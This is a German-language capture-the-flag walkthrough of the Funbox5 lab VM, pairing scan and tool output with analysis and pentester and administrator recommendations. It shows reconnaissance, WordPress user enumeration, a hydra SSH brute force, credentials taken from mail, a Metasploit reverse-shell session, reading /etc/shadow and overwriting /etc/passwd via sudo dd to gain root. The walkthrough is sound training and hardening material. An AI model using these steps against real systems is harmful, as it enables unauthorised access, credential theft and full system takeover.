192.168.2.157 08:00:27:2a:6d:58 PCS Systemtechnik GmbH
Analyse: `arp-scan -l` identifiziert aktive Hosts im lokalen Netzwerk.
Bewertung: Der Host `192.168.2.157` (VirtualBox VM) wird als Ziel "Funbox5 - Next Level" identifiziert.
Empfehlung (Pentester): Ziel-IP `192.168.2.157` verwenden.
Empfehlung (Admin): Netzwerk-Monitoring.
192.168.2.157 funbox5.vln
Analyse: Lokale `/etc/hosts` wird bearbeitet, um `192.168.2.157` den Namen `funbox5.vln` zuzuordnen.
Bewertung: Erleichtert die Ansprache des Ziels.
Empfehlung (Pentester): Hostnamen `funbox5.vln` verwenden.
Empfehlung (Admin): Lokale Angreifer-Konfiguration.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-31 00:46 CEST
Nmap scan report for funbox5.vln (192.168.2.157)
Host is up (0.00017s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: [...]
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 08:00:27:2A:6D:58 (Oracle VirtualBox virtual NIC)
[...]
OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4
[...]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.17 ms funbox5.vln (192.168.2.157)
[...]
Analyse: Der vollständige Nmap-Scan (`-A` für OS/Version/Skripte/Traceroute) identifiziert zwei offene Ports: * Port 22 (SSH): OpenSSH 7.2p2 (Ubuntu). Veraltet. * Port 80 (HTTP): Apache 2.4.18 (Ubuntu). Veraltet, zeigt Standardseite.
Bewertung: Die Angriffsfläche scheint zunächst auf SSH und HTTP beschränkt zu sein. Beide Dienste laufen auf veralteten Versionen.
Empfehlung (Pentester): Führe detaillierte Web-Enumeration auf Port 80 durch (`nikto`, `gobuster`). Recherchiere Schwachstellen für OpenSSH 7.2p2 und Apache 2.4.18.
Empfehlung (Admin): Aktualisiere dringend SSH und Apache.
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Analyse: Bestätigt die offenen Ports 22 und 80.
Bewertung: Schnellübersicht.
Empfehlung (Pentester/Admin): Siehe vorheriger Nmap-Scan.
- Nikto v2.5.0
[...]
+ Target IP: 192.168.2.157
+ Target Port: 80
+ Start Time: 2023-07-31 00:47:21 (GMT2)
[...]
+ Server: Apache/2.4.18 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found [...]
+ /robots.txt: contains 1 entry which should be manually viewed. [...]
+ Apache/2.4.18 appears to be outdated [...].
+ /: Server may leak inodes via ETags [...]
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS .
+ /icons/README: Apache default file found. [...]
[...]
+ End Time: 2023-07-31 00:47:32 (GMT2) (11 seconds)
[...]
Analyse: `nikto` scannt Port 80 und findet: * Veralteten Apache 2.4.18. * Fehlende Sicherheitsheader. * Eine `robots.txt`-Datei. * Mögliches Inode-Leak. * Standard-Datei `/icons/README`. **Datum extrahiert:** 2023-07-31.
Bewertung: Bestätigt den veralteten Webserver. Der wichtigste Hinweis ist die `robots.txt`.
Empfehlung (Pentester): Untersuche `robots.txt`. Führe `gobuster`/`dirb` durch.
Empfehlung (Admin): Aktualisiere Apache. Implementiere Sicherheitsheader. Entferne Standarddateien.
[...]
http://funbox5.vln/index.html (Status: 200) [Size: 11321]
http://funbox5.vln/robots.txt (Status: 200) [Size: 16]
http://funbox5.vln/drupal (Status: 301) [Size: 311] [--> http://funbox5.vln/drupal/]
http://funbox5.vln/bug_report.txt (Status: 200) [Size: 136]
[...]
Analyse: `gobuster` findet `index.html`, `robots.txt`, ein Verzeichnis `/drupal` (leitet weiter) und eine Datei `bug_report.txt`.
Bewertung: Die Entdeckung von `/drupal` und `bug_report.txt` sind die wichtigsten Funde. Drupal ist ein bekanntes CMS und oft Ziel von Angriffen.
Empfehlung (Pentester): Untersuche `robots.txt`, `bug_report.txt` und das `/drupal`-Verzeichnis (insbesondere mit Drupal-spezifischen Scannern wie `droopescan` oder `wpscan` mit `--force` Option, falls es fälschlicherweise als WordPress erkannt wird).
Empfehlung (Admin): Stelle sicher, dass Drupal aktuell und sicher konfiguriert ist. Entferne unnötige Dateien wie `bug_report.txt`.
# Inhalt von http://funbox5.vln/robots.txt
Allow: Thinking
# Inhalt von http://funbox5.vln/bug_report.txt
No bugs here !!!
Really !!!
http://192.168.178.33/drupal/
Analyse: * `robots.txt`: Enthält nur eine unklare Zeile "Allow: Thinking". * `bug_report.txt`: Enthält eine Nachricht und eine interne IP-Adresse (`192.168.178.33`), die auf `/drupal/` verweist.
Bewertung: `robots.txt` ist nicht hilfreich. `bug_report.txt` bestätigt das `/drupal`-Verzeichnis und leakt eine (wahrscheinlich interne/irrelevante) IP-Adresse.
Empfehlung (Pentester): Konzentriere dich auf das `/drupal`-Verzeichnis.
Empfehlung (Admin): Entferne `bug_report.txt`. Vermeide das Leaken interner IPs.
[...]
+ http://funbox5.vln/robots.txt (CODE:200|SIZE:16)
[...]
Analyse: `dirb` mit Filterung auf `.php` und `.txt` findet nur die bereits bekannte `robots.txt`.
Bewertung: Keine neuen Erkenntnisse. Bestätigt, dass auf der Root-Ebene keine einfachen PHP- oder Textdateien liegen.
Empfehlung (Pentester): Fokus auf `/drupal`.
Empfehlung (Admin): Keine neuen Empfehlungen.
* Trying 192.168.2.157:80...
* Connected to funbox5.vln (192.168.2.157) port 80 (#0)
> HEAD /drupal HTTP/1.1
[...]
< HTTP/1.1 301 Moved Permanently
[...]
< Location: http://funbox5.vln/drupal/
[...]
Analyse: `curl -Iv` sendet eine HEAD-Anfrage an `/drupal` und zeigt die Header der Antwort an.
Bewertung: Bestätigt die 301-Weiterleitung von `/drupal` nach `/drupal/`.
Empfehlung (Pentester): Scanne `http://funbox5.vln/drupal/`.
Empfehlung (Admin): Standardverhalten bei Verzeichnissen.
[...]
[+] URL: http://funbox5.vln/drupal/index.php/ [192.168.2.157]
[...]
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
[...]
[+] Upload directory has listing enabled: http://funbox5.vln/drupal/wp-content/uploads/
[...]
[+] WordPress version 5.5.1 identified (Insecure, released on 2020-09-01).
[...]
[i] The main theme could not be detected.
[i] No plugins Found.
[+] Enumerating Users (via Passive and Aggressive Methods)
[...]
[i] User(s) Identified:
[+] admin
| Found By: Wp Json Api (Aggressive Detection)
[...]
[+] ben
| Found By: Wp Json Api (Aggressive Detection)
[...]
[!] No WPScan API Token given [...]
[+] Finished: Mon Jul 31 01:14:31 2023
[...]
Analyse: `wpscan` wird (etwas ungewöhnlich mit expliziten Pfaden zu `index.php` und `wp-content`) gegen das `/drupal`-Verzeichnis ausgeführt. Es identifiziert: * Eine verwundbare WordPress-Version 5.5.1. * Ein öffentlich listbares Upload-Verzeichnis (`/drupal/wp-content/uploads/`). * Die Benutzer `admin` und `ben`.
Bewertung: Obwohl das Verzeichnis `/drupal` heißt, läuft dort offenbar WordPress. Die veraltete Version 5.5.1 ist ein kritisches Sicherheitsrisiko. Die Benutzer `admin` und `ben` sind potenzielle Login-Ziele.
Empfehlung (Pentester):
1. Recherchiere bekannte Schwachstellen für WordPress 5.5.1 (es gibt kritische).
2. Versuche einen Brute-Force-Angriff gegen die Benutzer `admin` und `ben` über SSH oder das WordPress-Login (`/drupal/wp-login.php`).
Empfehlung (Admin):
1. **Dringend:** Aktualisiere WordPress auf die neueste Version.
2. Deaktiviere Directory Listing für das Uploads-Verzeichnis.
3. Verwende starke Passwörter und schütze das Login.
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak [...]
[...]
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344420 login tries (l:1/p:14344420), ~224132 tries per task
[DATA] attacking ssh://192.168.2.157:22/
--------------------------------------------------------------------------------
[22][ssh] host: 192.168.2.157 login: ben password: pookie
--------------------------------------------------------------------------------
1 of 1 target successfully completed, 1 valid password found
[...]
Hydra [...] finished at 2023-07-31 01:13:53
Analyse: `hydra` wird verwendet, um das SSH-Passwort für den von `wpscan` gefundenen Benutzer `ben` zu brute-forcen. Die Wortliste `rockyou.txt` wird verwendet.
Bewertung: Hydra findet erfolgreich das Passwort `pookie` für den Benutzer `ben`.
Empfehlung (Pentester): Nutze die gefundenen Credentials (`ben`:`pookie`), um dich per SSH anzumelden.
Empfehlung (Admin): Erzwinge starke, nicht im Wörterbuch enthaltene Passwörter. Implementiere Schutzmaßnahmen gegen Brute-Force-Angriffe.
The authenticity of host '192.168.2.157 (192.168.2.157)' can't be established.
[...]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
[...]
ben@192.168.2.157's password: pookie
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-189-generic x86_64)
[...]
You have mail.
Last login: Tue Sep 1 22:14:28 2020 from 192.168.178.143
ben@funbox5$
Analyse: Die SSH-Verbindung wird als Benutzer `ben` mit dem Passwort `pookie` hergestellt. Der Login ist erfolgreich.
Bewertung: Der initiale Zugriff als Benutzer `ben` wurde erreicht.
Empfehlung (Pentester): Beginne mit der Post-Exploitation und Privilege-Escalation-Enumeration.
Empfehlung (Admin): Ändere das kompromittierte Passwort.
28766 84 -rwsr-xr-x 1 root root 84120 Apr 9 2019 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
[...]
31179 112 -rwsr-xr-x 1 root root 110792 Jul 10 2020 /usr/lib/snapd/snap-confine
[...]
2946 136 -rwsr-xr-x 1 root root 136808 Jan 31 2020 /usr/bin/sudo
[...]
31036 24 -rwsr-xr-x 1 root root 23376 Mar 27 2019 /usr/bin/pkexec
[...]
858 40 -rwsr-xr-x 1 root root 40152 Jan 27 2020 /bin/mount
[...]
Analyse: Die Suche nach SUID-Dateien wird als `ben` ausgeführt. Findet Standard-Binaries, darunter `/usr/bin/sudo` und `/usr/bin/pkexec`.
Bewertung: `sudo` und `pkexec` sind potenzielle Vektoren.
Empfehlung (Pentester): Prüfe `sudo -l`. Prüfe Kernel-Version und `pkexec` auf bekannte Schwachstellen.
Empfehlung (Admin): Halte System gepatcht, überprüfe SUID-Berechtigungen.
uid=1001(ben) gid=1001(ben) groups=1001(ben),8(mail)
/usr/bin/mtr = cap_net_raw+ep
/usr/bin/systemd-detect-virt = cap_dac_override,cap_sys_ptrace+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
Linux funbox5 4.4.0-189-generic #219-Ubuntu SMP Tue Aug 11 12:26:50 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
Analyse: * `id`: Bestätigt Benutzer `ben` und Mitgliedschaft in Gruppe `mail`. * `getcap`: Findet keine ungewöhnlichen Capabilities. * `uname -a`: Zeigt die Kernel-Version 4.4.0-189.
Bewertung: Die Gruppenmitgliedschaft `mail` könnte relevant sein, falls Mail-bezogene Prozesse oder Dateien ausgenutzt werden können. Die Kernel-Version 4.4.0 ist relativ alt und könnte anfällig sein, aber PwnKit (CVE-2021-4034) betrifft eher `policykit-1` als den Kernel direkt.
Empfehlung (Pentester): Konzentriere dich auf `pkexec` (PwnKit) als wahrscheinlichsten Vektor. Prüfe die Mail-Spool-Verzeichnisse (`/var/mail`).
Empfehlung (Admin): Halte Kernel und Pakete aktuell.
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 *:22 *:*
LISTEN 0 10 127.0.0.1:25 *:*
LISTEN 0 80 127.0.0.1:3306 *:*
LISTEN 0 10 127.0.0.1:587 *:*
LISTEN 0 100 *:110 *:*
LISTEN 0 100 *:143 *:*
LISTEN 0 128 :::22 :::*
LISTEN 0 100 :::110 :::*
LISTEN 0 100 :::143 :::*
LISTEN 0 128 :::80 :::*
[...]
Analyse: `ss -altpn` zeigt lauschende TCP-Ports.
Bewertung: Bestätigt die von Nmap gefundenen Ports (22, 80, 110, 143) und zeigt zusätzliche localhost-Listener für SMTP (25, 587) und MySQL (3306).
Empfehlung (Pentester): Der MySQL-Dienst auf localhost könnte interessant sein, wenn Zugangsdaten (z.B. aus der `#wp-config.php#`, die Nikto fand, aber im Log nicht heruntergeladen wurde) bekannt wären.
Empfehlung (Admin): Beschränke den Zugriff auf localhost-Dienste.
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
+OK Dovecot ready.
+OK
+OK Logged in.
+OK 3 messages:
1 403
2 391
3 578
[...] Hi Ben, are you going to Jonas' party on Saturday?
[...] Hey Ben, did you do all the updates?
[...]
Hi Ben,
please come to my office at 10:00 a.m. We have a lot to talk about!
The new employees must be created. I've already finished Adam.
adam: qwedsayxc!
Analyse: Eine `telnet`-Verbindung wird zum POP3-Server auf `localhost` aufgebaut. Der Login als `ben` mit dem Passwort `pookie` ist erfolgreich. Die E-Mails werden abgerufen. E-Mail 3 enthält Zugangsdaten für einen neuen Benutzer `adam`: `qwedsayxc!`.
Bewertung: Ein weiterer Satz Zugangsdaten (`adam`:`qwedsayxc!`) wurde durch das Lesen der E-Mails gefunden. Dies könnte ein alternativer Weg oder ein weiterer Schritt (horizontale Bewegung) sein.
Empfehlung (Pentester): Versuche, dich als `adam` per SSH anzumelden. Überprüfe die `sudo`-Rechte für `adam`. Fahre parallel mit dem PwnKit-Versuch für `ben` fort.
Empfehlung (Admin): Sende niemals Passwörter per E-Mail. Überprüfe Mailboxen auf sensible Informationen.
adam ben maria
Password: qwedsayxc!
uid=1002(adam) gid=1002(adam) groups=1002(adam)
[sudo] password for adam: qwedsayxc!
Matching Defaults entries for adam on funbox5:
env_reset
User adam may run the following commands on funbox5:
(root) PASSWD: /bin/dd
(root) PASSWD: /bin/de
(root) PASSWD: /bin/df
Analyse: 1. Die Existenz des Benutzers `adam` wird bestätigt. 2. Mit `su adam` und dem Passwort `qwedsayxc!` wird erfolgreich zum Benutzer `adam` gewechselt. 3. `sudo -l` als `adam` zeigt, dass dieser Benutzer `/bin/dd`, `/bin/de` (wahrscheinlich Tippfehler für `dd`?) und `/bin/df` als `root` mit Passwort (`PASSWD:`) ausführen darf.
Bewertung: Ein horizontaler Wechsel zu `adam` war erfolgreich. Die `sudo`-Rechte für `dd` sind ein klarer Weg zur Privilege Escalation, da `dd` zum Lesen und Schreiben beliebiger Dateien/Geräte verwendet werden kann, auch `/etc/passwd` oder `/etc/shadow`.
Empfehlung (Pentester): Nutze die `sudo`-Rechte für `dd`, um `/etc/shadow` zu lesen (um den Root-Hash zu erhalten) oder um `/etc/passwd` zu überschreiben und einen neuen Root-Benutzer mit bekanntem Passwort hinzuzufügen. Der PwnKit-Exploit als `ben` wäre zwar auch möglich, aber dieser Weg über `adam` und `sudo dd` ist ebenfalls direkt.
Empfehlung (Admin): **Kritisch!** Die Berechtigung, `dd` als Root auszuführen, ist extrem gefährlich und sollte niemals normalen Benutzern gewährt werden. Entferne diese `sudoers`-Regel dringend.
Analyse: Die Privilege Escalation erfolgt durch Missbrauch der `sudo`-Regel, die dem Benutzer `adam` erlaubt, `/bin/dd` als `root` auszuführen. Mit `dd` kann jede Datei überschrieben werden, einschließlich der kritischen Datei `/etc/passwd`.
Bewertung: Die unsichere `sudo`-Regel für `dd` ermöglicht das direkte Überschreiben der Passwortdatei und somit die Erlangung von Root-Rechten. Dies ist eine schwerwiegende Fehlkonfiguration.
Empfehlung (Pentester): Die Nutzung von `sudo dd` zum Lesen von `/etc/shadow` wäre eine weniger intrusive Alternative gewesen, um den Root-Passwort-Hash zu erhalten und offline zu knacken.
Empfehlung (Admin): Gewähre niemals `sudo`-Rechte für Befehle wie `dd`, `cp`, `mv`, `chown`, `chmod`, Editoren (`vi`, `nano`) etc., die zum Manipulieren kritischer Systemdateien missbraucht werden können, es sei denn, es ist absolut unvermeidlich und stark eingeschränkt.
[sudo] password for adam: qwedsayxc!
3+1 records in
3+1 records out
2020 bytes (2.0 kB, 2.0 KiB) copied, 0.000325761 s, 6.2 MB/s
Analyse: Als `adam` wird `sudo dd` verwendet, um `/etc/passwd` in eine lokale Datei `passwd` zu kopieren (wahrscheinlich zur Vorbereitung der Modifikation). Anschließend wird eine Reverse Shell gestartet.
Bewertung: Bestätigt, dass `sudo dd` funktioniert. Die Reverse Shell ist für den `dd`-Exploit nicht zwingend, wird aber im Log verwendet.
Empfehlung (Pentester): Modifiziere die kopierte `passwd`-Datei (oder erstelle eine neue) mit einem Root-Benutzer-Eintrag und bekanntem Passwort.
Empfehlung (Admin): Entferne die `sudo`-Regel für `dd`.
lhost => 192.168.2.199
lport => 4444
[*] Started reverse TCP handler on 192.168.2.199:4444
[*] Command shell session 1 opened (192.168.2.199:4444 -> 192.168.2.157:38652) at 2023-07-31 01:58:04 +0200
adam@funbox5$
[sudo] password for adam: qwedsayxc!
[...] (passwd Inhalt) [...]
[sudo] password for adam: qwedsayxc!
[...] (shadow Inhalt) [...]
Analyse: Die Reverse Shell von `adam` wird in Metasploit (Session 1) empfangen. Über diese Shell wird `sudo dd` verwendet, um den Inhalt von `/etc/passwd` und `/etc/shadow` auszulesen.
Bewertung: Bestätigt die Fähigkeit, beliebige Dateien als Root zu lesen. Der Root-Passwort-Hash ist nun bekannt (`root:$6$NsLN4bI3$...`).
Empfehlung (Pentester): Anstatt `/etc/passwd` zu überschreiben, könnte man jetzt versuchen, den Root-Hash offline zu knacken. Da das Log jedoch den Überschreib-Weg zeigt, folgen wir diesem.
Empfehlung (Admin): Entferne die `sudo`-Regel.
Passwort: bauer
$6$4CdmLiryny.8VoG$0TFCVCfnWBwNo5EfCCPsNnXdfl2xkNuapWiAE6IKDjPEJmDH42hYnY7ZG8AXUVHwYHGhtN/RIU48FaFiM.
# Annahme: scp passwd_mod adam@192.168.2.157:/tmp/passwd
[sudo] password for adam: qwedsayxc!
4+1 records in
4+1 records out
2157 bytes (2.2 kB, 2.1 KiB) copied, 0.000341561 s, 6.3 MB/s
Password: bauer
uid=0(root) gid=0(root) groups=0(root)
Analyse: 1. Auf dem Angreifer-System wird mit `mkpasswd` ein SHA512-Hash für das Passwort `bauer` generiert. 2. Eine modifizierte Passwort-Datei (`passwd_mod`) wird erstellt, die einen neuen Benutzer `fuck` mit UID 0, GID 0 und dem generierten Hash enthält. 3. (Impliziert) Diese Datei wird auf das Zielsystem nach `/tmp/passwd` übertragen. 4. Als `adam` wird `sudo dd` verwendet, um `/etc/passwd` mit der modifizierten Datei aus `/tmp` zu überschreiben. Adam's Passwort (`qwedsayxc!`) wird für `sudo` benötigt. 5. Mit `su fuck` und dem Passwort `bauer` wird erfolgreich Root-Zugriff erlangt.
Bewertung: Die Privilege Escalation durch Überschreiben von `/etc/passwd` mittels `sudo dd` war erfolgreich.
Empfehlung (Pentester): Suche die Root-Flag.
Empfehlung (Admin): Entferne die `sudo dd`-Regel. Überwache Änderungen an `/etc/passwd`.
_______ _ ______ _ _
(_______) | | | ___ \ _ | | | |
_____ _ _ ____ | | _ ___ _ _ _ | | | | ____ _ _| |_ | | ____ _ _ ____| |
| ___) | | | _ \| || \ / _ ( \ / |_) | | | |/ _ | \ / ) _) | | / _ ) | | / _ ) |
| | | |_| | | | | |_) ) |_| ) X ( _ | | | ( (/ / ) X (| |__ | |____( (/ / \ V ( (/ /| |
|_| \____|_| |_|____/ \___(_/ \_|_) |_| |_|\____|_/ \_)\___) |_______)____) \_/ \____)_|
Made with Love by @0815R2d2
Please, tweet me a screenshot on Twitter.
THX 4 playing this Funbox.
Analyse: Als Root wird die Datei `flag.txt` (vermutlich in `/root`) ausgelesen.
Bewertung: Die Root-Flag (ASCII-Art und Nachricht) wurde gefunden.
Empfehlung (Pentester): Dokumentiere die Flag. Suche die User-Flag (vermutlich `/home/ben/user.txt` oder `/home/adam/user.txt`).
Empfehlung (Admin): Keine spezifische Aktion bezüglich der Flag.